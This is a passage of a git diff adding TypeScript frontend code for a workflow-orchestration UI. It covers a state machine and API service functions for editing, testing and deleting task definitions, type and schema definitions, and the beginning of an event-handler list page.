TaskDefinitionMachineState.INIT, + context: { + authHeaders: {}, + isContinueCreate: false, + isNewTaskDef: true, + originTaskDefinitionString: "", + modifiedTaskDefinitionString: "", + modifiedTaskDefinition: {} as TaskDefinitionDto, + originTaskDefinition: {} as TaskDefinitionDto, + originTaskDefinitions: [] as TaskDefinitionDto[], + testInputParameters: "{}", + testTaskDomain: "", + couldNotParseJson: false, + lastSelectedTab: undefined, + }, + on: { + [TaskDefinitionMachineEventType.SET_TASK_DEFINITION]: { + actions: ["setNameOnOriginTaskDefinition"], + target: TaskDefinitionMachineState.INIT, + }, + }, + states: { + [TaskDefinitionMachineState.INIT]: { + always: [ + { + cond: "isEditTaskDefinition", + target: TaskDefinitionMachineState.FETCH_FOR_TASK_DEFINITION, + }, + { target: TaskDefinitionMachineState.READY }, + ], + }, + [TaskDefinitionMachineState.FETCH_FOR_TASK_DEFINITION]: { + invoke: { + src: "fetchTaskDefinitionByNameService", + onDone: { + target: TaskDefinitionMachineState.READY, + actions: ["persistTaskDefinitionByName"], + }, + onError: { + target: TaskDefinitionMachineState.FINISH, + actions: ["setErrorMessage"], + }, + }, + }, + [TaskDefinitionMachineState.READY]: { + type: "parallel", + states: { + [TaskDefinitionMachineState.MAIN_CONTAINER]: { + initial: TaskDefinitionMachineState.FORM, + states: { + [TaskDefinitionMachineState.FORM]: { + initial: "idle", + states: { + idle: { + on: { + [TaskDefinitionMachineEventType.TOGGLE_FORM_MODE]: { + actions: forwardTo(TASK_FORM_MACHINE_ID), + }, + [TaskDefinitionMachineEventType.CONFIRM_RESET_TASK]: { + actions: forwardTo(TASK_FORM_MACHINE_ID), + }, + [TaskDefinitionMachineEventType.SET_SAVE_CONFIRMATION_OPEN]: + { + actions: [ + forwardTo(TASK_FORM_MACHINE_ID), + "changeIsContinueCreate", + ], + }, + // The form handles this event. since it has the last version + [TaskDefinitionMachineEventType.EXPORT_TASK_TO_JSON_FILE]: + { + actions: forwardTo(TASK_FORM_MACHINE_ID), + }, + }, + invoke: { + src: taskDefinitionFormMachine, + id: TASK_FORM_MACHINE_ID, + data: ({ + modifiedTaskDefinition, + originTaskDefinition, + isNewTaskDef, + }) => ({ + modifiedTaskDefinition, + originTaskDefinition, + isNewTaskDef, + }), + onDone: [ + { + target: `#taskDefinitionMachine.${TaskDefinitionMachineState.READY}.${TaskDefinitionMachineState.MAIN_CONTAINER}.${TaskDefinitionMachineState.EDITOR}`, + cond: ( + __context: TaskDefinitionMachineContext, + event: DoneInvokeEvent<{ + reason: TaskDefinitionMachineEventType; + }>, + ) => { + return ( + event.data.reason === + TaskDefinitionMachineEventType.TOGGLE_FORM_MODE + ); + }, + actions: ["syncDataFromFormMachine"], + } as any, + { + target: `#taskDefinitionMachine.${TaskDefinitionMachineState.READY}.${TaskDefinitionMachineState.MAIN_CONTAINER}.${TaskDefinitionMachineState.DIFF_EDITOR}`, + cond: ( + __context: TaskDefinitionMachineContext, + event: DoneInvokeEvent<{ + reason: TaskDefinitionMachineEventType; + }>, + ) => { + return ( + event.data.reason === + TaskDefinitionMachineEventType.SET_SAVE_CONFIRMATION_OPEN + ); + }, + actions: ["syncDataFromFormMachine"], + }, + { target: "idle" }, + ], + }, + }, + }, + }, + [TaskDefinitionMachineState.EDITOR]: { + entry: "cleanLastSelectedTab", // Note if last selected tab is undefined it will go to the form + on: { + [TaskDefinitionMachineEventType.HANDLE_CHANGE_TASK_DEFINITION]: + [ + { + actions: ["handleChangeTaskDefinition"], + }, + ], + [TaskDefinitionMachineEventType.DEBOUNCE_HANDLE_CHANGE_TASK_DEFINITION]: + { + actions: [ + "cancelDebounceChangeTaskDefinition", + "debounceChangeTaskDefinition", + ], + }, + [TaskDefinitionMachineEventType.TOGGLE_FORM_MODE]: { + target: TaskDefinitionMachineState.FORM, + }, + [TaskDefinitionMachineEventType.SET_SAVE_CONFIRMATION_OPEN]: { + actions: ["changeIsContinueCreate"], + target: TaskDefinitionMachineState.DIFF_EDITOR, + }, + }, + initial: "idle", + states: { + idle: { + on: { + [TaskDefinitionMachineEventType.EXPORT_TASK_TO_JSON_FILE]: + { + target: "exportTask", + }, + }, + }, + exportTask: { + invoke: { + src: "handleDownloadFile", + onDone: { + target: "idle", + }, + onError: { + actions: ["setErrorMessage"], + }, + }, + }, + }, + }, + [TaskDefinitionMachineState.DIFF_EDITOR]: { + initial: "idle", + states: { + idle: { + on: { + [TaskDefinitionMachineEventType.HANDLE_CHANGE_TASK_DEFINITION]: + [ + { + actions: ["handleChangeTaskDefinition"], + }, + ], + [TaskDefinitionMachineEventType.DEBOUNCE_HANDLE_CHANGE_TASK_DEFINITION]: + { + actions: [ + "cancelDebounceChangeTaskDefinition", + "debounceChangeTaskDefinition", + ], + }, + [TaskDefinitionMachineEventType.CANCEL_CONFIRM_SAVE]: { + target: `#taskDefinitionMachine.${TaskDefinitionMachineState.READY}.${TaskDefinitionMachineState.MAIN_CONTAINER}.${TaskDefinitionMachineState.EDITOR}`, // not really editor though should return to previous tab + }, + [TaskDefinitionMachineEventType.SAVE_TASK_DEFINITION]: { + target: "createTaskDefinition", + }, + }, + }, + createTaskDefinition: { + invoke: { + src: "createOrUpdateTaskDefinitionService", + onDone: [ + { + cond: "isContinueCreate", + target: `#taskDefinitionMachine.${TaskDefinitionMachineState.INIT}`, + + actions: [ + "showSaveSuccessMessage", + "prepareNewTaskContext", + "redirectToNewTask", + ], + }, + { + target: `#taskDefinitionMachine.${TaskDefinitionMachineState.INIT}`, + actions: [ + "updateOriginTaskDefinition", + "showSaveSuccessMessage", + "setIsEditTaskDef", + "redirectToEditTask", + ], + }, + ], + onError: [ + { + cond: "lastTabWasForm", + target: `#taskDefinitionMachine.${TaskDefinitionMachineState.READY}.${TaskDefinitionMachineState.MAIN_CONTAINER}.${TaskDefinitionMachineState.FORM}`, + actions: ["setErrorMessage", "cleanLastSelectedTab"], + }, + { + target: `#taskDefinitionMachine.${TaskDefinitionMachineState.READY}.${TaskDefinitionMachineState.MAIN_CONTAINER}.${TaskDefinitionMachineState.EDITOR}`, + actions: ["setErrorMessage", "cleanLastSelectedTab"], + }, + ], + }, + }, + }, + }, + // Move to parallel state + }, + }, + [TaskDefinitionMachineState.TASK_TESTER]: { + initial: "idle", + states: { + idle: { + on: { + [TaskDefinitionMachineEventType.SET_INPUT_PARAMETERS]: { + actions: ["setInputParameters"], + }, + [TaskDefinitionMachineEventType.SET_TASK_DOMAIN]: { + actions: ["setTaskDomain"], + }, + [TaskDefinitionMachineEventType.HANDLE_RUN_TEST_TASK]: { + target: "runTestTask", + }, + }, + }, + runTestTask: { + invoke: { + src: "runTestTaskService", + onDone: { + actions: ["persistWorkflowId"], + target: "idle", + }, + onError: { + actions: ["setErrorMessage"], + target: "idle", + }, + }, + }, + }, + }, + [TaskDefinitionMachineState.RESET_FORM]: { + initial: "idle", + states: { + idle: { + on: { + [TaskDefinitionMachineEventType.SET_RESET_CONFIRMATION_OPEN]: + { + target: TaskDefinitionMachineState.RESET_FORM_CONFIRM, + }, + }, + }, + [TaskDefinitionMachineState.RESET_FORM_CONFIRM]: { + on: { + [TaskDefinitionMachineEventType.CONFIRM_RESET_TASK]: { + actions: ["resetContext"], + target: "idle", + }, + [TaskDefinitionMachineEventType.CANCEL_CONFIRM_SAVE]: { + target: "idle", + }, + }, + }, + }, + }, + [TaskDefinitionMachineState.DELETE_FORM]: { + initial: "idle", + states: { + idle: { + on: { + [TaskDefinitionMachineEventType.SET_DELETE_CONFIRMATION_OPEN]: + { + target: TaskDefinitionMachineState.DELETE_FORM_CONFIRM, + }, + }, + }, + [TaskDefinitionMachineState.DELETE_FORM_CONFIRM]: { + on: { + [TaskDefinitionMachineEventType.CONFIRM_RESET_TASK]: { + target: "deleteTaskDefinition", + }, + [TaskDefinitionMachineEventType.CANCEL_CONFIRM_SAVE]: { + target: "idle", + }, + }, + }, + deleteTaskDefinition: { + invoke: { + src: "deleteTaskDefinitionService", + onDone: { + actions: ["redirectToTaskList"], + }, + onError: { + target: `#taskDefinitionMachine.${TaskDefinitionMachineState.READY}`, + actions: ["setErrorMessage"], + }, + }, + }, + }, + }, + }, + }, + [TaskDefinitionMachineState.FINISH]: { + type: "final", + }, + }, + }, + { + actions: customActions as any, + guards: guards as any, + services: services as any, + }, +); diff --git a/ui-next/src/pages/definition/task/state/services.ts b/ui-next/src/pages/definition/task/state/services.ts new file mode 100644 index 0000000..7837f0e --- /dev/null +++ b/ui-next/src/pages/definition/task/state/services.ts @@ -0,0 +1,268 @@ +import { queryClient } from "queryClient"; +import { fetchWithContext, fetchContextNonHook } from "plugins/fetch"; +import { TaskDefinitionMachineContext } from "pages/definition/task/state/types"; +import { + exportObjToFile, + getErrors, + tryToJson, + featureFlags, + FEATURES, + tryFunc, + logger, +} from "utils"; +import { TaskDefinitionDto } from "types/TaskDefinition"; +import { ErrorObj } from "types/common"; + +const taskVisibility = featureFlags.getValue(FEATURES.TASK_VISIBILITY, "READ"); +const fetchContext = fetchContextNonHook(); + +export const fetchTaskDefinitionsService = async ({ + authHeaders: headers, +}: TaskDefinitionMachineContext) => { + const taskDefinitionsPath = `/metadata/taskdefs?access=${taskVisibility}`; + + try { + const response = await queryClient.fetchQuery( + [fetchContext.stack, taskDefinitionsPath], + () => fetchWithContext(taskDefinitionsPath, fetchContext, { headers }), + ); + return response; + } catch (error) { + const errorDetail = await getErrors(error as Response); + + return Promise.reject({ + message: errorDetail.message + ? errorDetail.message + : "Fetching task definitions failed!", + }); + } +}; + +export const fetchTaskDefinitionByNameService = async ({ + authHeaders: headers, + originTaskDefinition, +}: TaskDefinitionMachineContext) => { + const taskDefinitionPath = `/metadata/taskdefs/${originTaskDefinition.name}`; + + return tryFunc({ + fn: async () => { + return await queryClient.fetchQuery( + [fetchContext.stack, taskDefinitionPath], + () => fetchWithContext(taskDefinitionPath, fetchContext, { headers }), + ); + }, + customError: { + message: "Fetching task definition by name failed!", + }, + showCustomError: false, + }); +}; + +const validateTaskName = (taskName?: string) => { + if (taskName?.includes(":")) { + return Promise.reject({ + message: 'Task name should not include the colon character ":"', + }); + } + return null; +}; + +export const createTaskDefinitionService = async ({ + authHeaders, + modifiedTaskDefinition, +}: TaskDefinitionMachineContext) => { + const validationError = validateTaskName(modifiedTaskDefinition.name); + + if (validationError) { + return validationError; + } + + const stringDefinition = JSON.stringify(modifiedTaskDefinition, null, 2); + const body = `[${stringDefinition}]`; + + return tryFunc({ + fn: async () => { + return await fetchWithContext( + "/metadata/taskdefs", + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + body, + }, + ); + }, + customError: { + message: "Create a new task fail!", + }, + showCustomError: false, + }); +}; + +export const updateTaskDefinitionService = async ({ + authHeaders, + modifiedTaskDefinition, +}: TaskDefinitionMachineContext) => { + const validationError = validateTaskName(modifiedTaskDefinition.name); + + if (validationError) { + return validationError; + } + + const stringDefinition = JSON.stringify(modifiedTaskDefinition, null, 2); + + return tryFunc({ + fn: async () => { + return await fetchWithContext( + "/metadata/taskdefs", + {}, + { + method: "PUT", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + body: stringDefinition, + }, + ); + }, + customError: { + message: "Update task failed!", + }, + showCustomError: false, + }); +}; + +export const createOrUpdateTaskDefinitionService = async ( + context: TaskDefinitionMachineContext, +) => { + const taskChangedName = + context.modifiedTaskDefinition.name !== context.originTaskDefinition.name; + return context.isNewTaskDef || taskChangedName + ? createTaskDefinitionService(context) + : updateTaskDefinitionService(context); +}; + +export const deleteTaskDefinitionService = async ({ + authHeaders, + originTaskDefinition, +}: TaskDefinitionMachineContext) => { + if (!originTaskDefinition.name) { + return Promise.reject({ message: "Task's name is undefined" }); + } + + const taskDefinitionPath = `/metadata/taskdefs/${encodeURIComponent( + originTaskDefinition.name, + )}`; + + return tryFunc({ + fn: async () => { + return await fetchWithContext( + taskDefinitionPath, + {}, + { + method: "DELETE", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + }, + ); + }, + customError: { + message: "Delete task failed!", + }, + showCustomError: false, + }); +}; + +export const runTestTaskService = async ({ + authHeaders, + modifiedTaskDefinition, + user, + testTaskDomain, + testInputParameters, +}: TaskDefinitionMachineContext) => { + // generate random string of six characters + const suffix = Math.random().toString(36).substring(2, 7); + if (modifiedTaskDefinition?.name == null) { + logger.error("Task name is null"); + return Promise.reject({ + message: "Task name is null", + }); + } + + const workflowWithTask = { + name: `test_task_{${modifiedTaskDefinition.name}}_${suffix}_wf`, + version: 1, + workflowDef: { + name: `TestTask_${modifiedTaskDefinition.name}_${suffix}`, + description: `Dynamic workflow to test the task: [${modifiedTaskDefinition.name}]`, + version: 1, + tasks: [ + { + name: modifiedTaskDefinition.name, + taskReferenceName: `test_task_${modifiedTaskDefinition.name}_${suffix}`, + type: "SIMPLE", + inputParameters: + testInputParameters && tryToJson(testInputParameters), + }, + ], + createdBy: user?.id || "example@email.com", + }, + ...(testTaskDomain + ? { + taskToDomain: { + [modifiedTaskDefinition.name]: testTaskDomain, + }, + } + : {}), + }; + + const body = JSON.stringify(workflowWithTask, null, 0); + + return tryFunc({ + fn: async () => { + return await fetchWithContext( + "/workflow", + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + body, + }, + true, + ); + }, + customError: { + message: "Run test task failed.", + }, + showCustomError: false, + }); +}; + +export const handleDownloadFile = async ({ + modifiedTaskDefinition, +}: TaskDefinitionMachineContext) => { + try { + exportObjToFile({ + data: modifiedTaskDefinition, + fileName: `${modifiedTaskDefinition.name || "new"}.json`, + type: `application/json`, + }); + } catch (error: any) { + const errorDetail = await getErrors(error as Response); + + return Promise.reject({ + message: errorDetail.message + ? errorDetail.message + : "Download task failed!", + }); + } +}; diff --git a/ui-next/src/pages/definition/task/state/types.ts b/ui-next/src/pages/definition/task/state/types.ts new file mode 100644 index 0000000..95a4c98 --- /dev/null +++ b/ui-next/src/pages/definition/task/state/types.ts @@ -0,0 +1,259 @@ +import { ActorRef } from "xstate"; + +import { AuthHeaders } from "types"; +import { PopoverMessage, TaskDefinitionDto } from "types"; +import { User } from "types/User"; +import { + TaskDefinitionFormContext, + TaskDefinitionFormMachineEvent, +} from "../form/state/types"; + +export enum TaskTimeoutPolicy { + RETRY = "RETRY", + TIME_OUT_WF = "TIME_OUT_WF", + ALERT_ONLY = "ALERT_ONLY", +} + +export const TaskTimeoutPolicyLabel = { + RETRY: "Retry Task", + TIME_OUT_WF: "Timeout Workflow", + ALERT_ONLY: "Alert Only", +} as { [key: string]: string }; + +export enum TaskRetryLogic { + FIXED = "FIXED", + LINEAR_BACKOFF = "LINEAR_BACKOFF", + EXPONENTIAL_BACKOFF = "EXPONENTIAL_BACKOFF", +} + +export const TaskRetryLogicLabel = { + FIXED: "Fixed", + LINEAR_BACKOFF: "Linear Backoff", + EXPONENTIAL_BACKOFF: "Exponential Backoff", +} as { [key: string]: string }; + +export interface TaskDefinitionButtonsProps { + taskDefActor: ActorRef; + showTestTask?: () => void; +} + +export interface TaskDefinitionDiffEditorProps { + taskDefActor: ActorRef; +} + +export interface TaskDefinitionFormProps { + formActor: ActorRef; +} + +export enum TaskDefinitionMachineState { + INIT = "init", + FORM = "form", + EDITOR = "editor", + RESET_FORM = "resteForm", + RESET_FORM_CONFIRM = "resetFormConfirm", + DELETE_FORM = "deleteForm", + DELETE_FORM_CONFIRM = "deleteFormConfirm", + DOWNLOAD_TASK_JSON = "downloadTaskJson", + MAIN_CONTAINER = "mainContainer", + TASK_TESTER = "taskTester", + DIFF_EDITOR = "diffEditor", + DIFF_EDITOR_CONFIRM = "diffEditorConfirm", + FINISH = "finish", + READY = "ready", + FETCH_FOR_TASK_DEFINITION = "fetchForTaskDefinition", +} + +export interface TaskDefinitionMachineContext { + authHeaders: AuthHeaders; + error?: { [key: string]: any }; + isContinueCreate?: boolean; + isNewTaskDef: boolean; + modifiedTaskDefinitionString: string; + originTaskDefinitionString: string; + modifiedTaskDefinition: Partial; + originTaskDefinition: Partial; + originTaskDefinitions: Partial[]; + couldNotParseJson: boolean; + user?: User; + testInputParameters?: string; + testTaskDomain?: string; + testTaskWorkflowId?: string; + lastSelectedTab?: + | TaskDefinitionMachineState.FORM + | TaskDefinitionMachineState.EDITOR; +} + +export enum TaskDefinitionMachineEventType { + CANCEL_CONFIRM_SAVE = "CANCEL_CONFIRM_SAVE", + CLOSE_DIALOG = "CLOSE_DIALOG", + DEBOUNCE_HANDLE_CHANGE_TASK_DEFINITION = "DEBOUNCE_HANDLE_CHANGE_TASK_DEFINITION", + HANDLE_CHANGE_TASK_DEFINITION = "HANDLE_CHANGE_TASK_DEFINITION", + HANDLE_DEFINE_NEW_CONFIRMATION = "HANDLE_DEFINE_NEW_CONFIRMATION", + SET_DEFINE_NEW_TASK_OPEN = "SET_DEFINE_NEW_TASK_OPEN", + HANDLE_DELETE_TASK_DEF_CONFIRMATION = "HANDLE_DELETE_TASK_DEF_CONFIRMATION", + HANDLE_RESET_CONFIRMATION = "HANDLE_RESET_CONFIRMATION", + HANDLE_RUN_TEST_TASK = "HANDLE_RUN_TEST_TASK", + NEW_SAVE_COMPLETE = "NEW_SAVE_COMPLETE", + SAVE_TASK_DEFINITION = "SAVE_TASK_DEFINITION", + SET_DELETE_CONFIRMATION_OPEN = "SET_DELETE_CONFIRMATION_OPEN", + SET_INPUT_PARAMETERS = "SET_INPUT_PARAMETERS", + SET_RESET_CONFIRMATION_OPEN = "SET_RESET_CONFIRMATION_OPEN", + SET_SAVE_CONFIRMATION_OPEN = "SET_SAVE_CONFIRMATION_OPEN", + SET_TASK_DOMAIN = "SET_TASK_DOMAIN", + TOGGLE_BULK_MODE = "TOGGLE_BULK_MODE", + TOGGLE_FORM_MODE = "TOGGLE_FORM_MODE", + SYNC_DATA_FROM_FORM_MACHINE = "SYNC_DATA_FROM_FORM_MACHINE", + NEED_SYNC_DATA_FROM_FORM_MACHINE = "NEED_SYNC_DATA_FROM_FORM_MACHINE", + EXPORT_TASK_TO_JSON_FILE = "EXPORT_TASK_TO_JSON_FILE", + CONFIRM_DELETE_TASK = "CONFIRM_DELETE_TASK", + CONFIRM_GO_TO_DEFINE_NEW_TASK = "CONFIRM_GO_TO_DEFINE_NEW_TASK", + CONFIRM_RESET_TASK = "CONFIRM_RESET_TASK", + SET_TASK_DEFINITION = "SET_TASK_DEFINITION", +} + +export type NewSaveCompleteEvent = { + isContinueCreate: boolean; + isNewTaskDef: boolean; + modifiedTaskDefinition: TaskDefinitionDto; + popoverMessage: PopoverMessage; + saveComplete: boolean; + saveConfirmationOpen: boolean; + taskIsModified: boolean; + type: TaskDefinitionMachineEventType.NEW_SAVE_COMPLETE; +}; + +export type HandleChangeTaskDefinitionEvent = { + type: TaskDefinitionMachineEventType.HANDLE_CHANGE_TASK_DEFINITION; + modifiedTaskDefinitionString: string; +}; + +export type DebounceHandleChangeTaskDefinitionEvent = { + type: TaskDefinitionMachineEventType.DEBOUNCE_HANDLE_CHANGE_TASK_DEFINITION; + modifiedTaskDefinitionString: string; +}; + +export type HandleResetConfirmationEvent = { + type: TaskDefinitionMachineEventType.HANDLE_RESET_CONFIRMATION; + isConfirm: boolean; +}; + +export type HandleDefineNewConfirmationEvent = { + type: TaskDefinitionMachineEventType.HANDLE_DEFINE_NEW_CONFIRMATION; + isConfirm: boolean; +}; + +export type HandleDeleteTaskDefConfirmationEvent = { + type: TaskDefinitionMachineEventType.HANDLE_DELETE_TASK_DEF_CONFIRMATION; + isConfirm: boolean; +}; + +export type HandleRunTestTaskEvent = { + type: TaskDefinitionMachineEventType.HANDLE_RUN_TEST_TASK; +}; + +export type HandleDefineNewTaskEvent = { + type: TaskDefinitionMachineEventType.SET_DEFINE_NEW_TASK_OPEN; +}; + +export type SaveTaskDefinitionEvent = { + type: TaskDefinitionMachineEventType.SAVE_TASK_DEFINITION; +}; + +export type SetSaveConfirmationOpenEvent = { + type: TaskDefinitionMachineEventType.SET_SAVE_CONFIRMATION_OPEN; + isContinueCreate: boolean; +}; + +export type SetDeleteConfirmationOpenEvent = { + type: TaskDefinitionMachineEventType.SET_DELETE_CONFIRMATION_OPEN; +}; + +export type SetResetConfirmationOpenEvent = { + type: TaskDefinitionMachineEventType.SET_RESET_CONFIRMATION_OPEN; +}; + +export type CancelConfirmSaveEvent = { + type: TaskDefinitionMachineEventType.CANCEL_CONFIRM_SAVE; +}; + +export type CloseDialogEvent = { + type: TaskDefinitionMachineEventType.CLOSE_DIALOG; +}; + +export type ToggleBulkModeEvent = { + type: TaskDefinitionMachineEventType.TOGGLE_BULK_MODE; + bulkMode: boolean; +}; + +export type SetInputParametersEvent = { + type: TaskDefinitionMachineEventType.SET_INPUT_PARAMETERS; + inputParameters: string; +}; + +export type SetTaskDomainEvent = { + type: TaskDefinitionMachineEventType.SET_TASK_DOMAIN; + domain: string; +}; + +export type ToggleFormModeEvent = { + type: TaskDefinitionMachineEventType.TOGGLE_FORM_MODE; + formMode: boolean; +}; + +export type SyncDataFromFormMachine = { + type: TaskDefinitionMachineEventType.SYNC_DATA_FROM_FORM_MACHINE; + data: TaskDefinitionFormContext; +}; + +export type NeedSyncDataFromFormMachineEvent = { + type: TaskDefinitionMachineEventType.NEED_SYNC_DATA_FROM_FORM_MACHINE; +}; + +export type ExportTaskToJSONFileEvent = { + type: TaskDefinitionMachineEventType.EXPORT_TASK_TO_JSON_FILE; +}; + +export type ConfirmDeleteTaskEvent = { + type: TaskDefinitionMachineEventType.CONFIRM_DELETE_TASK; +}; + +export type ConfirmGoToDefineNewTask = { + type: TaskDefinitionMachineEventType.CONFIRM_GO_TO_DEFINE_NEW_TASK; +}; + +export type ConfirmResetTaskEvent = { + type: TaskDefinitionMachineEventType.CONFIRM_RESET_TASK; +}; + +export type SetTaskDefinitionEvent = { + type: TaskDefinitionMachineEventType.SET_TASK_DEFINITION; + name: string; + isNew: boolean; +}; + +export type TaskDefinitionMachineEvent = + | CancelConfirmSaveEvent + | CloseDialogEvent + | ConfirmDeleteTaskEvent + | ConfirmGoToDefineNewTask + | ConfirmResetTaskEvent + | DebounceHandleChangeTaskDefinitionEvent + | ExportTaskToJSONFileEvent + | HandleChangeTaskDefinitionEvent + | HandleDefineNewConfirmationEvent + | HandleDefineNewTaskEvent + | HandleDeleteTaskDefConfirmationEvent + | HandleResetConfirmationEvent + | HandleRunTestTaskEvent + | NeedSyncDataFromFormMachineEvent + | NewSaveCompleteEvent + | SaveTaskDefinitionEvent + | SetDeleteConfirmationOpenEvent + | SetInputParametersEvent + | SetResetConfirmationOpenEvent + | SetSaveConfirmationOpenEvent + | SetTaskDomainEvent + | SyncDataFromFormMachine + | ToggleBulkModeEvent + | SetTaskDefinitionEvent + | ToggleFormModeEvent; diff --git a/ui-next/src/pages/definition/task/state/validator.ts b/ui-next/src/pages/definition/task/state/validator.ts new file mode 100644 index 0000000..38eaf80 --- /dev/null +++ b/ui-next/src/pages/definition/task/state/validator.ts @@ -0,0 +1,147 @@ +import type { ErrorObject } from "ajv"; +import Ajv from "ajv"; +import ajvErrors from "ajv-errors"; +import { parseErrors } from "pages/definition/task/state/helpers"; +import { + TaskRetryLogic, + TaskTimeoutPolicy, +} from "pages/definition/task/state/types"; +import { TaskDefinitionDto } from "types/TaskDefinition"; +import { getErrors } from "utils/utils"; + +const taskSchema = { + $id: "/properties/task", + type: "object", + properties: { + name: { + type: "string", + pattern: "^[\\w-]+$", + errorMessage: { + pattern: + "Don't allow special characters. Normal characters, numbers and hyphens are allowed.", + }, + }, + description: { + type: "string", + }, + retryCount: { + type: "integer", + }, + timeoutSeconds: { + type: "integer", + }, + timeoutPolicy: { + type: "string", + enum: Object.values(TaskTimeoutPolicy), + errorMessage: { + type: "must be string.", + enum: `must be one of allowed values: ${Object.values( + TaskTimeoutPolicy, + ).join(" | ")}.`, + }, + }, + retryLogic: { + type: "string", + enum: Object.values(TaskRetryLogic), + errorMessage: { + type: "must be string.", + enum: `must be one of allowed values: ${Object.values( + TaskRetryLogic, + ).join(" | ")}.`, + }, + }, + retryDelaySeconds: { + type: "integer", + }, + responseTimeoutSeconds: { + type: "integer", + }, + rateLimitPerFrequency: { + type: "integer", + }, + rateLimitFrequencyInSeconds: { + type: "integer", + }, + ownerEmail: { + type: "string", + }, + pollTimeoutSeconds: { + type: "integer", + }, + concurrentExecLimit: { + type: "integer", + }, + backoffScaleFactor: { + type: "integer", + }, + inputKeys: { + type: "array", + items: { + type: "string", + }, + }, + outputKeys: { + type: "array", + items: { + type: "string", + }, + }, + inputTemplate: { + type: "object", + }, + }, + required: ["name"], +}; + +const tasksSchema = { + $id: "/properties/tasks", + type: "array", + uniqueItems: true, + items: { + $ref: taskSchema.$id, + }, +}; + +const ajv = new Ajv({ + schemas: [taskSchema, tasksSchema], + allErrors: true, +}); + +// Ajv option allErrors is required +ajvErrors(ajv /*, {singleError: true} */); + +export const validateTask = ( + task: TaskDefinitionDto | TaskDefinitionDto[], + isBulk: boolean, +): null | ErrorObject[] => { + const validate = ajv.compile(isBulk ? tasksSchema : taskSchema); + const valid = validate(task); + + if (!valid) { + return validate.errors as ErrorObject[]; + } + + return null; +}; + +export const validatingService = async ( + modifiedTaskDefinition: TaskDefinitionDto | TaskDefinitionDto[], + isBulk: boolean, +) => { + try { + const errors = validateTask(modifiedTaskDefinition, isBulk); + + return { + error: parseErrors(errors), + numberOfError: errors?.length || 0, + }; + } catch (error: any) { + const errorDetail = await getErrors(error as Response); + + return Promise.reject({ + message: errorDetail.message + ? errorDetail.message + : "Validate task failed!", + }); + } +}; diff --git a/ui-next/src/pages/definitions/EventHandler.tsx b/ui-next/src/pages/definitions/EventHandler.tsx new file mode 100644 index 0000000..9c44b83 --- /dev/null +++ b/ui-next/src/pages/definitions/EventHandler.tsx @@ -0,0 +1,509 @@ +import { + FormControl, + FormControlLabel, + Grid, + Radio, + RadioGroup, + Tooltip, +} from "@mui/material"; +import { Box } from "@mui/system"; +import { + Trash as DeleteIcon, + PauseCircle as PauseIcon, + ArrowClockwise as RefreshIcon, + TagIcon, +} from "@phosphor-icons/react"; +import { Button, DataTable, IconButton, NavLink } from "components"; +import NoDataComponent from "components/ui/NoDataComponent"; +import Paper from "components/ui/Paper"; +import { SnackbarMessage } from "components/ui/SnackbarMessage"; +import TagChip from "components/ui/TagChip"; +import ConfirmChoiceDialog from "components/ui/dialogs/ConfirmChoiceDialog"; +import AddTagDialog, { + TagDialogProps, +} from "components/features/tags/AddTagDialog"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import { TagsRenderer } from "components/ui/TagList"; +import AddIcon from "components/icons/AddIcon"; +import PlayIcon from "components/icons/PlayIcon"; +import { useCallback, useMemo, useState } from "react"; +import { Helmet } from "react-helmet"; +import { useQueryState } from "react-router-use-location-state"; +import SectionContainer from "components/ui/layout/SectionContainer"; +import SectionHeader from "components/layout/SectionHeader"; +import SectionHeaderActions from "components/ui/layout/SectionHeaderActions"; +import { useAuth } from "components/features/auth"; +import { colors } from "theme/tokens/variables"; +import { ConductorEvent } from "types/Events"; +import { TagDto } from "types/Tag"; +import { createSearchableTags, logger } from "utils"; +import { parseErrorResponse } from "utils/helpers"; +import { ACTIVE_FILTER_QUERY_PARAM } from "utils/constants/common"; +import { EVENT_HANDLERS_URL } from "utils/constants/route"; +import useCustomPagination from "utils/hooks/useCustomPagination"; +import { usePushHistory } from "utils/hooks/usePushHistory"; +import { useActionWithPath, useFetch } from "utils/query"; +import { featureFlags, FEATURES } from "utils/flags"; +import Header from "components/ui/Header"; +import { + activeFilterGroups, + conditionalRowStyles, + getLinkColor, +} from "./rowColorHelpers"; + +const getStatusLabel = (status: boolean) => (status ? "Active" : "Inactive"); + +const INTRO_CONTENT = `Event handlers help you automate workflow responses to external events. Create handlers to trigger workflows when events occur from sources like Kafka, SQS, or custom events. Perfect for building event-driven architectures and real-time integrations. + +Read more: + +* [Developer Guides: Event Handlers](https://orkes.io/content/developer-guides/event-handler) +* [Eventing](https://orkes.io/content/eventing) +`; + +export default function EventDefinitionList() { + const { data: eventHandlers = [], isFetching, refetch } = useFetch("/event"); + const { isTrialExpired } = useAuth(); + const [toast, setToast] = useState({ + isOpen: false, + message: "", + status: "", + }); + const [showAddTagDialog, setShowAddTagDialog] = useState(false); + const [addTagDialogData, setAddTagDialogData] = + useState(null); + + const pushHistory = usePushHistory(); + const [ + { pageParam, searchParam }, + { handlePageChange, handleSearchTermChange }, + ] = useCustomPagination(); + + const pauseActiveEventAction = useActionWithPath({ + onSuccess: () => { + refetch(); + }, + onError: (error: Response) => { + logger.error(error); + refetch(); + }, + }); + + const [activeFilterParam, setActiveFilterParam] = useQueryState( + ACTIVE_FILTER_QUERY_PARAM, + "all", + ); + + const activeNonActiveFiltered = useMemo( + () => + eventHandlers.filter( + ({ active }: ConductorEvent) => + activeFilterParam === "all" || + (activeFilterParam === "yes" && active) || + (activeFilterParam === "no" && !active), + ), + [eventHandlers, activeFilterParam], + ); + + const handlePauseResumeEvent = useCallback( + (event: ConductorEvent, active: boolean) => { + if (event) { + // @ts-ignore + pauseActiveEventAction.mutate({ + method: "put", + path: `/event`, + body: JSON.stringify({ + ...event, + active, + }), + }); + setToast({ + isOpen: true, + message: `${event.name} is now ${active ? "running" : "paused"}.`, + status: `${active ? "running" : "paused"}`, + }); + } + }, + [pauseActiveEventAction], + ); + + const [confirmDeleteName, setConfirmDeleteName] = useState(""); + const tagsEnabled = featureFlags.isEnabled(FEATURES.TAG_VISIBILITY); + + const columns = useMemo( + () => [ + { + id: "name", + name: "name", + label: "Event handler name", + renderer: (name: string, rec: ConductorEvent) => ( + + {name} + + ), + }, + { id: "event", name: "event", label: "Event" }, + ...(tagsEnabled + ? [ + { + id: "event_tags", + name: 